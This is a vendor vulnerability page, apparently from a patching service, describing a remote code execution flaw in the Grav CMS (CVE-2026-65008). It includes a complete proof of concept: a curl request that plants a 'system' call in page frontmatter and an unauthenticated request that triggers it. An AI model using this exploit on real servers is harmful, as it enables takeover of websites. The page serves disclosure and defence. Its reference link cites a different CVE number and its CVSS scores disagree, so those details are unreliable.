Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2026-65008

Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()
Back to all
CVE

CVE-2026-65008

Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()

Summary

An account with the admin.pages permission (or api.pages.write) can run shell

commands on the server. The command executes whenever anyone — including an

unauthenticated visitor — opens the page.

Details

Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes

a Class::method string and its arguments straight to calluserfunc_array()

with no allowlist. The form plugin runs page frontmatter through this path

(form/classes/Form.php:432), so a page author controls the input.

Grav\Common\Utils::arrayFilterRecursive($source,$fn)

(system/src/Grav/Common/Utils.php:1169) is a public static that calls

$fn($key,$value), so passing system as $fn and a command as the array key

runs the command.

PoC

Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie

for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin

page (window.GravAdmin.config.admin_nonce).

Save a "form" page whose field carries the callable directive:

    curl '<BASE_URL>/admin/pages/rcepoc' \

      -H 'Cookie: <SESSION_COOKIE>' \

      --data-urlencode 'task=save' \

      --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \

      --data-urlencode 'data[folder]=rcepoc' \

      --data-urlencode 'data[name]=form' \

      --data-urlencode 'data[title]=x' \

      --data-urlencode 'data[content]=hi' \

      --data-urlencode "data[frontmatter]=forms:

      x:

        fields:

          y:

            type: text

            data-opts@:

        • 'Grav\Common\Utils::arrayFilterRecursive'
        • { 'echo GRAV-RCE-OK; id': 'x' }
        • system"

Trigger it as an unauthenticated visitor:

    curl '<BASE_URL>/rcepoc'

Success check: the GET response body begins with GRAV-RCE-OK followed by the

web-server user's id output (a line starting uid=...) — the command ran

during the unauthenticated request and its output is reflected in the response.

​

Impact

Shell command execution as the web-server user, triggered by any visit to the

page, plantable by any holder of admin.pages or api.pages.write.

Trust boundary: crossed. admin.pages (or api.pages.write) grants page

editing, not code execution; the holder plants the payload and the code runs at

request time on any later view of the page.

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
9.3
-
4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
C
H
U
0
-
C
H
U
-

Related Resources

No items found.

References

https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5, https://nvd.nist.gov/vuln/detail/CVE-2026-64850, https://github.com/getgrav/grav/commit/acffa34cbb0787fee87c609e0d6289e904fee33c, https://github.com/getgrav/grav, https://github.com/getgrav/grav/releases/tag/2.0.7

Severity

9.8

CVSS Score
0
10

Basic Information

Base CVSS
9.8
EPSS Probability
0.0249%
EPSS Percentile
0.84493%
Introduced Version
0
Fix Available
2.0.7

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading